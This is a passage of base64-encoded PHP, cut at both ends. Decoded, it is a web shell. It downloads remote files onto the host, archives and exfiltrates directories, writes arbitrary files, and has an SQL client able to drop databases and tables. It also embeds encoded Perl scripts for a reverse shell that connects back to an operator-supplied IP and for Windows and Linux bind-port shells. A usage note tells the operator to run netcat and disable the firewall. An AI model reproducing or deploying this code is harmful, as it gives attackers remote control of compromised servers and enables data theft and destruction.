1Ym1pdCB2YWx1ZT0iIENyZWF0ZSAiPjwvZm9ybT48L3RkPjwvdHI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4nLiRmb3JtcC4nPGI+Q29weSAtLS0tJmd0OzwvYj48L2I+Jm5ic3A7Jm5ic3A7RmlsZSA6IDwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4NCjxpbnB1dCBzaXplPTQwIG5hbWU9Y29weW5hbWU+IFRvIERpcmVjdG9yeSA8aW5wdXQgc2l6ZT00MCBuYW1lPWNweXRvPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPUNvcHk+PC9mb3JtPjwvdGQ+Jy4kZW5kO2V4aXQ7DQp9fQ0KaWYoJF9QT1NUWydhZGxyJ10gJiYgJF9QT1NUWydhZHNyJ10pew0KJHVybCA9ICRfUE9TVFsnYWRsciddOw0KJG5ld2ZuYW1lID0gJF9QT1NUWydhZHNyJ10gLiBiYXNlbmFtZSgkdXJsKTsNCiRmaWxlID0gZm9wZW4gKCR1cmwsICJyYiIpOw0KaWYgKCRmaWxlKSB7DQogICRuZXdmID0gZm9wZW4gKCRuZXdmbmFtZSwgIndiIik7DQogIGlmICgkbmV3ZikNCiAgd2hpbGUoIWZlb2YoJGZpbGUpKSB7DQogICAgZndyaXRlKCRuZXdmLCBmcmVhZCgkZmlsZSwgMTAyNCAqIDggKSwgMTAyNCAqIDggKTsNCiAgfQ0KICBhbGVydCgiRmlsZSBEb3dubG9hZGVkIFN1Y2Nlc3MiKTsNCn1lbHNle2FsZXJ0KCJDYW4gTm90IE9wZW4gRmlsZSIpO30NCmlmICgkZmlsZSkgew0KICBmY2xvc2UoJGZpbGUpOw0KfQ0KaWYgKCRuZXdmKSB7DQogIGZjbG9zZSgkbmV3Zik7DQp9DQp9DQppZigkX0dFVFsnZG8nXT09ImRvd24iIGFuZCAkX0dFVFsndHlwZSddPT0nZmlsZScpew0KZG93bmxvYWQoJF9HRVRbJ2FkZHJlc3MnXSwkX0dFVFsnZmlsZW5hbWUnXSk7fQ0KaWYoJF9HRVRbJ2RvJ109PSJkb3duIiBhbmQgJF9HRVRbJ3R5cGUnXT09J2Rpcicpew0KY2xhc3MgemlwZmlsZQ0Kew0KdmFyICRkYXRhc2VjID0gYXJyYXkoKTsgDQp2YXIgJGN0cmxfZGlyID0gYXJyYXkoKTsgDQp2YXIgJGVvZl9jdHJsX2RpciA9ICJceDUwXHg0Ylx4MDVceDA2XHgwMFx4MDBceDAwXHgwMCI7DQp2YXIgJG9sZF9vZmZzZXQgPSAwOw0KZnVuY3Rpb24gYWRkX2RpcigkbmFtZSkNCnsNCiRuYW1lID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkbmFtZSk7DQokZnIgPSAiXHg1MFx4NGJceDAzXHgwNCI7DQokZnIgLj0gIlx4MGFceDAwIjsNCiRmciAuPSAiXHgwMFx4MDAiOw0KJGZyIC49ICJceDAwXHgwMCI7DQokZnIgLj0gIlx4MDBceDAwXHgwMFx4MDAiOw0KJGZyIC49IHBhY2soIlYiLDApOw0KJGZyIC49IHBhY2soIlYiLDApOw0KJGZyIC49IHBhY2soIlYiLDApOw0KJGZyIC49IHBhY2soInYiLCBzdHJsZW4oJG5hbWUpICk7IA0KJGZyIC49IHBhY2soInYiLCAwICk7DQokZnIgLj0gJG5hbWU7DQokZnIgLj0gcGFjaygiViIsJGNyYyk7IA0KJGZyIC49IHBhY2soIlYiLCRjX2xlbik7IA0KJGZyIC49IHBhY2soIlYiLCR1bmNfbGVuKTsNCiR0aGlzIC0+IGRhdGFzZWNbXSA9ICRmcjsNCiRuZXdfb2Zmc2V0ID0gc3RybGVuKGltcGxvZGUoIiIsICR0aGlzLT5kYXRhc2VjKSk7DQokY2RyZWMgPSAiXHg1MFx4NGJceDAxXHgwMiI7DQokY2RyZWMgLj0iXHgwMFx4MDAiOyANCiRjZHJlYyAuPSJceDBhXHgwMCI7IA0KJGNkcmVjIC49Ilx4MDBceDAwIjsgDQokY2RyZWMgLj0iXHgwMFx4MDAiOyANCiRjZHJlYyAuPSJceDAwXHgwMFx4MDBceDAwIjsgDQokY2RyZWMgLj0gcGFjaygiViIsMCk7IA0KJGNkcmVjIC49IHBhY2soIlYiLDApOyANCiRjZHJlYyAuPSBwYWNrKCJWIiwwKTsgDQokY2RyZWMgLj0gcGFjaygidiIsIHN0cmxlbigkbmFtZSkgKTsNCiRjZHJlYyAuPSBwYWNrKCJ2IiwgMCApOw0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGV4dCA9ICJceDAwXHgwMFx4MTBceDAwIjsNCiRleHQgPSAiXHhmZlx4ZmZceGZmXHhmZiI7DQokY2RyZWMgLj0gcGFjaygiViIsIDE2ICk7DQokY2RyZWMgLj0gcGFjaygiViIsICR0aGlzIC0+IG9sZF9vZmZzZXQgKTsNCiR0aGlzIC0+IG9sZF9vZmZzZXQgPSAkbmV3X29mZnNldDsNCiRjZHJlYyAuPSAkbmFtZTsNCiR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7DQp9DQpmdW5jdGlvbiBhZGRfZmlsZSgkZGF0YSwgJG5hbWUpDQp7DQokbmFtZSA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJG5hbWUpOw0KJGZyID0gIlx4NTBceDRiXHgwM1x4MDQiOw0KJGZyIC49ICJceDE0XHgwMCI7DQokZnIgLj0gIlx4MDBceDAwIjsNCiRmciAuPSAiXHgwOFx4MDAiOyANCiRmciAuPSAiXHgwMFx4MDBceDAwXHgwMCI7DQokdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7DQokY3JjID0gY3JjMzIoJGRhdGEpOw0KJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7DQokemRhdGEgPSBzdWJzdHIoIHN1YnN0cigkemRhdGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOw0KJGNfbGVuID0gc3RybGVuKCR6ZGF0YSk7DQokZnIgLj0gcGFjaygiViIsJGNyYyk7DQokZnIgLj0gcGFjaygiViIsJGNfbGVuKTsNCiRmciAuPSBwYWNrKCJWIiwkdW5jX2xlbik7DQokZnIgLj0gcGFjaygidiIsIHN0cmxlbigkbmFtZSkgKTsNCiRmciAuPSBwYWNrKCJ2IiwgMCApOw0KJGZyIC49ICRuYW1lOw0KJGZyIC49ICR6ZGF0YTsNCiRmciAuPSBwYWNrKCJWIiwkY3JjKTsNCiRmciAuPSBwYWNrKCJWIiwkY19sZW4pOyANCiRmciAuPSBwYWNrKCJWIiwkdW5jX2xlbik7IA0KJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOw0KJG5ld19vZmZzZXQgPSBzdHJsZW4oaW1wbG9kZSgiIiwgJHRoaXMtPmRhdGFzZWMpKTsNCiRjZHJlYyA9ICJceDUwXHg0Ylx4MDFceDAyIjsNCiRjZHJlYyAuPSJceDAwXHgwMCI7DQokY2RyZWMgLj0iXHgxNFx4MDAiOyANCiRjZHJlYyAuPSJceDAwXHgwMCI7DQokY2RyZWMgLj0iXHgwOFx4MDAiOw0KJGNkcmVjIC49Ilx4MDBceDAwXHgwMFx4MDAiOyANCiRjZHJlYyAuPSBwYWNrKCJWIiwkY3JjKTsgDQokY2RyZWMgLj0gcGFjaygiViIsJGNfbGVuKTsgDQokY2RyZWMgLj0gcGFjaygiViIsJHVuY19sZW4pOyANCiRjZHJlYyAuPSBwYWNrKCJ2Iiwgc3RybGVuKCRuYW1lKSApOw0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soIlYiLCAzMiApOyANCiRjZHJlYyAuPSBwYWNrKCJWIiwgJHRoaXMgLT4gb2xkX29mZnNldCApOw0KJHRoaXMgLT4gb2xkX29mZnNldCA9ICRuZXdfb2Zmc2V0Ow0KJGNkcmVjIC49ICRuYW1lOw0KJHRoaXMgLT4gY3RybF9kaXJbXSA9ICRjZHJlYzsNCn0NCmZ1bmN0aW9uIGZpbGUoKSB7IA0KJGRhdGEgPSBpbXBsb2RlKCIiLCAkdGhpcyAtPiBkYXRhc2VjKTsNCiRjdHJsZGlyID0gaW1wbG9kZSgiIiwgJHRoaXMgLT4gY3RybF9kaXIpOw0KcmV0dXJuDQokZGF0YS4NCiRjdHJsZGlyLg0KJHRoaXMgLT4gZW9mX2N0cmxfZGlyLg0KcGFjaygidiIsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpLg0KcGFjaygidiIsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpLiANCnBhY2soIlYiLCBzdHJsZW4oJGN0cmxkaXIpKS4gDQpwYWNrKCJWIiwgc3RybGVuKCRkYXRhKSkuIA0KIlx4MDBceDAwIjsNCn0NCn0NCiRkbGZvbGRlcj0kX0dFVFsnYWRkcmVzcyddLiRzbGFzaC4kX0dFVFsnZGlybmFtZSddLiRzbGFzaDsNCiR6aXBmaWxlID0gbmV3IHppcGZpbGUoKTsNCmZ1bmN0aW9uIGdldF9maWxlc19mcm9tX2ZvbGRlcigkZGlyZWN0b3J5LCAkcHV0X2ludG8pIHsNCmdsb2JhbCAkemlwZmlsZTsNCmlmICgkaGFuZGxlID0gb3BlbmRpcigkZGlyZWN0b3J5KSkgew0Kd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUgPSByZWFkZGlyKCRoYW5kbGUpKSkgew0KaWYgKGlzX2ZpbGUoJGRpcmVjdG9yeS4kZmlsZSkpIHsNCiRmaWxlQ29udGVudHMgPSBmaWxlX2dldF9jb250ZW50cygkZGlyZWN0b3J5LiRmaWxlKTsNCiR6aXBmaWxlLT5hZGRfZmlsZSgkZmlsZUNvbnRlbnRzLCAkcHV0X2ludG8uJGZpbGUpOw0KfSBlbHNlaWYgKCRmaWxlICE9ICcuJyBhbmQgJGZpbGUgIT0gJy4uJyBhbmQgaXNfZGlyKCRkaXJlY3RvcnkuJGZpbGUpKSB7DQokemlwZmlsZS0+YWRkX2RpcigkcHV0X2ludG8uJGZpbGUuJy8nKTsNCmdldF9maWxlc19mcm9tX2ZvbGRlcigkZGlyZWN0b3J5LiRmaWxlLicvJywgJHB1dF9pbnRvLiRmaWxlLicvJyk7DQp9DQp9DQp9DQpjbG9zZWRpcigkaGFuZGxlKTsNCn0NCiRkYXRlZGw9ZGF0ZSgieS1tLWQiKTsNCmdldF9maWxlc19mcm9tX2ZvbGRlcigkZGxmb2xkZXIsJycpOw0KaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iIC4gJF9HRVRbJ2Rpcm5hbWUnXS4iLSIuJGRhdGVkbC4iLnppcCIpOyAgIA0KaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2Rvd25sb2FkIik7DQpoZWFkZXIoIkNvbnRlbnQtTGVuZ3RoOiAiIC4gc3RybGVuKCR6aXBmaWxlIC0+IGZpbGUoKSkpOw0KZmx1c2goKTsNCmVjaG8gJHppcGZpbGUgLT4gZmlsZSgpOyANCiRmaWxlbmFtZSA9ICRfR0VUWydkaXJuYW1lJ10uIi0iLiRkYXRlZGwuIi56aXAiOw0KJGZkID0gZm9wZW4gKCRmaWxlbmFtZSwgIndiIik7DQokb3V0ID0gZndyaXRlICgkZmQsICR6aXBmaWxlIC0+IGZpbGUoKSk7DQpmY2xvc2UgKCRmZCk7DQp9DQppZiAoJF9SRVFVRVNUWydjZGlybmFtZSddKXsNCmlmKG1rZGlyKCRfUkVRVUVTVFsnY2Rpcm5hbWUnXSwiMDc3NyIpKXthbGVydCgiRGlyZWN0b3J5IENyZWF0ZWQgISIpO31lbHNle2FsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fX0NCmZ1bmN0aW9uIGJjbigkaXBiYywkcGJjKXsNCiRiY3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzQ2lNZ1EyOXVibVZqZEVKaFkydFRhR1ZzYkNCcGJpQlFaWEpzTGlCVGFHRmtiM2N4TWpBZ0xTQjMNCk5HTnJNVzVuTG1OdmJRb0tkWE5sSUZOdlkydGxkRHNLQ2lSb2IzTjBJRDBnSkVGU1IxWmJNRjA3Q2lSd2IzSjBJRDBnSkVGU1IxWmINCk1WMDdDZ29nSUNBZ2FXWWdLQ0VrUVZKSFZsc3dYU2tnZXdvZ0lIQnlhVzUwWmlBaVd5RmRJRlZ6WVdkbE9pQndaWEpzSUhOamNtbHcNCmRDNXdiQ0E4U0c5emRENGdQRkJ2Y25RK1hHNGlPd29nSUdWNGFYUW9NU2s3Q24wS2NISnBiblFnSWxzclhTQkRiMjV1WldOMGFXNW4NCklIUnZJQ1JvYjNOMFhHNGlPd29rY0hKdmRDQTlJR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1RzZ0l5QlpiM1VnWTJGdUlHTm8NCllXNW5aU0IwYUdseklHbG1JRzVsWldSeklHSmxDbk52WTJ0bGRDaFRSVkpXUlZJc0lGQkdYMGxPUlZRc0lGTlBRMHRmVTFSU1JVRk4NCkxDQWtjSEp2ZENrZ2ZId2daR2xsSUNnaVd5MWRJRlZ1WVdKc1pTQjBieUJEYjI1dVpXTjBJQ0VpS1RzS2FXWWdLQ0ZqYjI1dVpXTjANCktGTkZVbFpGVWl3Z2NHRmpheUFpVTI1Qk5IZzRJaXdnTWl3Z0pIQnZjblFzSUdsdVpYUmZZWFJ2Ymlna2FHOXpkQ2twS1NCN1pHbGwNCktDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnSVNJcE8zMEtJQ0J2Y0dWdUtGTlVSRWxPTENJK0psTkZVbFpGVWlJcE93b2cNCklHOXdaVzRvVTFSRVQxVlVMQ0krSmxORlVsWkZVaUlwT3dvZ0lHOXdaVzRvVTFSRVJWSlNMQ0krSmxORlVsWkZVaUlwT3dvZ0lHVjQNClpXTWdleWN2WW1sdUwzTm9KMzBnSnkxaVlYTm9KeUF1SUNKY01DSWdlQ0EwT3c9PSI7DQokb3BiYz1mb3BlbigiYmNjLnBsIiwidyIpOw0KZndyaXRlKCRvcGJjLGJhc2U2NF9kZWNvZGUoJGJjcGVybCkpOw0KZmNsb3NlKCRvcGJjKTsNCnN5c3RlbSgicGVybCBiY2MucGwgJGlwYmMgJHBiYyIpIG9yIGRpZSgiSSBDYW4gTm90IEV4ZWN1dGUgQ29tbWFuZCBGb3IgQmFjayBDb25uZWN0IERpc2FibGVfZnVuY3Rpb25zIE9yIFNhZmUgTW9kZSIpOw0KfQ0KZnVuY3Rpb24gd2JwKCR3Yil7DQokd2JwPSJkWE5sSUZOdlkydGxkRHNLSkhCdmNuUUpQU0FrUVZKSFZsc3dYVHNLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqDQpjQ2NwT3dwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1RzS2MyVjBjMjlqDQphMjl3ZENoVFJWSldSVklzSUZOUFRGOVRUME5MUlZRc0lGTlBYMUpGVlZORlFVUkVVaXdnY0dGamF5Z2liQ0lzSURFcEtUc0tZbWx1DQpaQ2hUUlZKV1JWSXNJSE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0JKVGtGRVJGSmZRVTVaS1NrN0NteHBjM1JsYmloVFJWSldSVklzDQpJRk5QVFVGWVEwOU9UaWs3Q21admNpZzdJQ1J3WVdSa2NpQTlJR0ZqWTJWd2RDaERURWxGVGxRc0lGTkZVbFpGVWlrN0lHTnNiM05sDQpJRU5NU1VWT1ZDa0tld3B2Y0dWdUtGTlVSRWxPTENBaVBpWkRURWxGVGxRaUtUc0tiM0JsYmloVFZFUlBWVlFzSUNJK0prTk1TVVZPDQpWQ0lwT3dwdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3Q25ONWMzUmxiU2duWTIxa0xtVjRaU2NwT3dwamJHOXpaU2hUDQpWRVJKVGlrN0NtTnNiM05sS0ZOVVJFOVZWQ2s3Q21Oc2IzTmxLRk5VUkVWU1VpazdDbjBnIjsNCiRvcHdiPWZvcGVuKCJ3YnAucGwiLCJ3Iik7DQpmd3JpdGUoJG9wd2IsYmFzZTY0X2RlY29kZSgkd2JwKSk7DQpmY2xvc2UoJG9wd2IpOw0KZWNobyBnZXRjd2QoKTsNCnN5c3RlbSgicGVybCB3YnAucGwgJHdiIikgb3IgZGllKCJJIENhbiBOb3QgRXhlY3V0ZSBDb21tYW5kIEZvciBCYWNrIENvbm5lY3QgRGlzYWJsZV9mdW5jdGlvbnMgT3IgU2FmZSBNb2RlIik7DQp9DQpmdW5jdGlvbiBsYnAoJHdiKXsNCiRsYnA9Ikl5RXZkWE55TDJKcGJpOXdaWEpzQ25WelpTQlRiMk5yWlhRN0pIQnZjblE5SkVGU1IxWmJNRjA3SkhCeWIzUnZQV2RsZEhCeWIzUnYNCllubHVZVzFsS0NkMFkzQW5LVHNrWTIxa1BTSnNjR1FpT3lRd1BTUmpiV1E3YzI5amEyVjBLRk5GVWxaRlVpd2dVRVpmU1U1RlZDd2cNClUwOURTMTlUVkZKRlFVMHNJQ1J3Y205MGJ5azdjMlYwYzI5amEyOXdkQ2hUUlZKV1JWSXNJRk5QVEY5VFQwTkxSVlFzSUZOUFgxSkYNClZWTkZRVVJFVWl3Z2NHRmpheWdpYkNJc0lERXBLVHRpYVc1a0tGTkZVbFpGVWl3Z2MyOWphMkZrWkhKZmFXNG9KSEJ2Y25Rc0lFbE8NClFVUkVVbDlCVGxrcEtUdHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cE8yWnZjaWc3SUNSd1lXUmtjaUE5SUdGalkyVncNCmRDaERURWxGVGxRc0lGTkZVbFpGVWlrN0lHTnNiM05sSUVOTVNVVk9WQ2w3YjNCbGJpaFRWRVJKVGl3Z0lqNG1RMHhKUlU1VUlpazcNCmIzQmxiaWhUVkVSUFZWUXNJQ0krSmtOTVNVVk9WQ0lwTzI5d1pXNG9VMVJFUlZKU0xDQWlQaVpEVEVsRlRsUWlLVHR6ZVhOMFpXMG8NCkp5OWlhVzR2YzJnbktUdGpiRzl6WlNoVFZFUkpUaWs3WTJ4dmMyVW9VMVJFVDFWVUtUdGpiRzl6WlNoVFZFUkZVbElwTzMwZyI7DQokb3BsYj1mb3BlbigibGJwLnBsIiwidyIpOw0KZndyaXRlKCRvcGxiLGJhc2U2NF9kZWNvZGUoJGxicCkpOw0KZmNsb3NlKCRvcGxiKTsNCnN5c3RlbSgicGVybCBsYnAucGwgJHdiIikgb3IgZGllKCJJIENhbiBOb3QgRXhlY3V0ZSBDb21tYW5kIEZvciBCYWNrIENvbm5lY3QgRGlzYWJsZV9mdW5jdGlvbnMgT3IgU2FmZSBNb2RlIik7DQp9DQoNCmlmKCRfUkVRVUVTVFsncG9ydGJ3J10pew0Kd2JwKCRfUkVRVUVTVFsncG9ydGJ3J10pOw0KDQp9aWYoJF9SRVFVRVNUWydwb3J0YmwnXSl7DQpsYnAoJF9SRVFVRVNUWydwb3J0YmwnXSk7DQp9DQppZigkX1JFUVVFU1RbJ2lwY2InXSAmJiAkX1JFUVVFU1RbJ3BvcnRiYyddKXsNCmJjbigkX1JFUVVFU1RbJ2lwY2InXSwkX1JFUVVFU1RbJ3BvcnRiYyddKTsNCg0KfQ0KDQppZigkX1JFUVVFU1RbJ2RvJ109PSJiYyIpew0KZWNobyAkaGVhZC4kZm9ybXAuIjxwIGFsaWduPSdjZW50ZXInPlVzYWdlIDogUnVuIE5ldGNhdCBJbiBZb3VyIE1hY2hpbiBBbmQgRXhlY3V0ZSBUaGlzIENvbW1hbmQoIERpc2FibGUgRmlyZXdhbGwgISEhICk8YnI+PGhyPjxwIGFsaWduPSdjZW50ZXInPjw8PDw8PCBCYWNrIENvbm5lY3QgPj4+Pj4+PGJyPklwIEFkZHJlc3MgOiA8aW5wdXQgbmFtZT1pcGNiIHZhbHVlPSIuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiI+IFBvcnQgOiA8aW5wdXQgbmFtZT1wb3J0YmMgdmFsdWU9NTU1NT48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUNvbm5lY3Q+PC9mb3JtPiIuJGZvcm1wLiI8cCBhbGlnbj0nY2VudGVyJz5Vc2FnZSA6IFJ1biBOZXRjYXQgSW4gWW91ciBNYWNoaW4gQW5kIEV4ZWN1dGUgVGhpcyBDb21tYW5kKCBEaXNhYmxlIEZpcmV3YWxsICEhISApPGJyPjxocj48cCBhbGlnbj0nY2VudGVyJz48PDw8PDwgV2luZG93cyBCaW5kIFBvcnQgPj4+Pj4+PGJyPlBvcnQgOiA8aW5wdXQgbmFtZT1wb3J0YncgdmFsdWU9NTU1NT48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUNvbm5lY3Q+PC9mb3JtPiIuJGZvcm1wLiI8cCBhbGlnbj0nY2VudGVyJz5Vc2FnZSA6IFJ1biBOZXRjYXQgSW4gWW91ciBNYWNoaW4gQW5kIEV4ZWN1dGUgVGhpcyBDb21tYW5kKCBEaXNhYmxlIEZpcmV3YWxsICEhISApPGJyPjxocj48cCBhbGlnbj0nY2VudGVyJz48PDw8PDwgTGludXggQmluZCBQb3J0ID4+Pj4+Pjxicj5Qb3J0IDogPGlucHV0IG5hbWU9cG9ydGJsIHZhbHVlPTU1NTU+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1Db25uZWN0PjwvZm9ybT4iLiRlbmQ7ZXhpdDsNCg0KfQ0KZnVuY3Rpb24gY29weWYoJGZpbGUxLCRmaWxlMiwkZmlsZW5hbWUpew0KZ2xvYmFsICRzbGFzaDsNCiRmcGMgPSBmb3BlbigkZmlsZTEsICJyYiIpOw0KJHNvdXJjZSA9ICcnOw0Kd2hpbGUgKCFmZW9mKCRmcGMpKSB7DQokc291cmNlIC49IGZyZWFkKCRmcGMsIDgxOTIpOw0KfQ0KZmNsb3NlKCRmcGMpOw0KJG9wdCA9IGZvcGVuKCRmaWxlMi4kc2xhc2guJGZpbGVuYW1lLCAidyIpOw0KZndyaXRlKCRvcHQsICRzb3VyY2UpOw0KZmNsb3NlKCRvcHQpOw0KfQ0KaWYgKCRfUkVRVUVTVFsnY29weW5hbWUnXSAmJiAkX1JFUVVFU1RbJ2NweXRvJ10pew0KaWYoaXNfd3JpdGFibGUoJF9SRVFVRVNUWydjcHl0byddKSl7DQplY2hvICRfUkVRVUVTVFsnYWRkcmVzcyddOw0KY29weWYoJF9SRVFVRVNUWydhZGRyZXNzJ10uJHNsYXNoLiRfUkVRVUVTVFsnY29weW5hbWUnXSwkX1JFUVVFU1RbJ2NweXRvJ10sJF9SRVFVRVNUWydjb3B5bmFtZSddKTsNCn1lbHNle2FsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fX0NCmlmKCRfUkVRVUVTVFsnY2ZpbGVuYW1lJ10pew0KDQplY2hvICRoZWFkLiRmb3JtcC4kbm93YWRkcmVzcy4nPHAgYWxpZ249ImNlbnRlciI+PGI+Q3JlYXRlIEZpbGU8L2I+PGJyPjx0ZXh0YXJlYSByb3dzPSIxOSIgbmFtZT0ibmY0Y3MiIGNvbHM9Ijg3Ij48L3RleHRhcmVhPjxicj48aW5wdXQgdmFsdWU9IicuJF9SRVFVRVNUWydjZmlsZW5hbWUnXS4nIiBuYW1lPW5mNGMgc2l6ZT01MD48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIENyZWF0ZSAgIj48L2Zvcm0+Jy4kZW5kO2V4aXQ7DQp9DQoNCmlmKCRfUkVRVUVTVFsnbmY0YyddICYmICRfUkVRVUVTVFsnbmY0Y3MnXSl7DQppZigkb2ZpbGU0Yz1mb3BlbigkX1JFUVVFU1RbJ25mNGMnXSwidyIpKXsNCmZ3cml0ZSgkb2ZpbGU0YywkX1JFUVVFU1RbJ25mNGNzJ10pOw0KZmNsb3NlKCRvZmlsZTRjKTsNCmFsZXJ0KCJGaWxlIFNhdmVkICEiKTt9ZWxzZXthbGVydCgiUGVybWlzc2lvbiBEZW5pZWQgISIpO319DQoNCmZ1bmN0aW9uIHNxbGNsaWVuVCgpew0KZ2xvYmFsICR0LCRlcnJvcmJveCwkZXQsJGhjd2Q7DQppZighZW1wdHkoJF9SRVFVRVNUWydzZXJ2ZVInXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsndXNlUiddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3Bhc1MnXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsncXVlclknXSkpew0KJHNlcnZlcj0kX1JFUVVFU1RbJ3NlcnZlUiddOyR0eXBlPSRfUkVRVUVTVFsndHlwRSddOyRwYXNzPSRfUkVRVUVTVFsncGFzUyddOyR1c2VyPSRfUkVRVUVTVFsndXNlUiddOyRxdWVyeT0kX1JFUVVFU1RbJ3F1ZXJZJ107DQokZGI9KGVtcHR5KCRfUkVRVUVTVFsnZEInXSkpPycnOiRfUkVRVUVTVFsnZEInXTsNCiRfU0VTU0lPTltzZXJ2ZXJdPSRfUkVRVUVTVFsnc2VydmVSJ107JF9TRVNTSU9OW3R5cGVdPSRfUkVRVUVTVFsndHlwRSddOyRfU0VTU0lPTltwYXNzXT0kX1JFUVVFU1RbJ3Bhc1MnXTskX1NFU1NJT05bdXNlcl09JF9SRVFVRVNUWyd1c2VSJ107DQoNCn0NCg0KaWYgKGlzc2V0ICgkX0dFVFtzZWxlY3RfZGJdKSl7DQoJJGdldGRiPSRfR0VUW3NlbGVjdF9kYl07DQoJJF9TRVNTSU9OW2RiXT0kZ2V0ZGI7DQoJJHF1ZXJ5PSJTSE9XIFRBQkxFUyI7DQoJJHJlcz1xdWVyWSgkX1NFU1NJT05bdHlwZV0sJF9TRVNTSU9OW3NlcnZlcl0sJF9TRVNTSU9OW3VzZXJdLCRfU0VTU0lPTltwYXNzXSwkX1NFU1NJT05bZGJdLCRxdWVyeSk7DQp9DQplbHNlaWYgKGlzc2V0ICgkX0dFVFtzZWxlY3RfdGJsXSkpew0KCSR0Ymw9JF9HRVRbc2VsZWN0X3RibF07DQoJJF9TRVNTSU9OW3RibF09JHRibDsNCgkkcXVlcnk9IlNFTEVDVCAqIEZST00gYCR0YmxgIjsNCgkkcmVzPXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sJHF1ZXJ5KTsNCn0NCmVsc2VpZiAoaXNzZXQgKCRfR0VUW2Ryb3BfZGJdKSl7DQoJJGdldGRiPSRfR0VUW2Ryb3BfZGJdOw0KCSRfU0VTU0lPTltkYl09JGdldGRiOw0KCSRxdWVyeT0iRFJPUCBEQVRBQkFTRSBgJGdldGRiYCI7DQoJcXVlclkoJF9TRVNTSU9OW3R5cGVdLCRfU0VTU0lPTltzZXJ2ZXJdLCRfU0VTU0lPTlt1c2VyXSwkX1NFU1NJT05bcGFzc10sJycsJHF1ZXJ5KTsNCgkkcmVzPXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCcnLCdTSE9XIERBVEFCQVNFUycpOw0KfQ0KZWxzZWlmIChpc3NldCAoJF9HRVRbZHJvcF90YmxdKSl7DQoJJGdldGJsPSRfR0VUW2Ryb3BfdGJsXTsNCgkkcXVlcnk9IkRST1AgVEFCTEUgYCRnZXRibGAiOw0KCXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sJHF1ZXJ5KTsNCgkkcmVzPXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sJ1NIT1cgVEFCTEVTJyk7DQp9DQplbHNlaWYgKGlzc2V0ICgkX0dFVFtkcm9wX3Jvd10pKXsNCgkkZ2V0cm93PSRfR0VUW2Ryb3Bfcm93XTsNCgkkZ2V0Y2xtPSRfR0VUW2NsbV07DQoJJHF1ZXJ5PSJERUxFVEUgRlJPTSBgJF9TRVNTSU9OW3RibF1gIFdIRVJFICRnZXRjbG09JyRnZXRyb3cnIjsNCgkkdGJsPSRfU0VTU0lPTlt0YmxdOw0KCXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sJHF1ZXJ5KTsNCgkkcmVzPXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2Vyd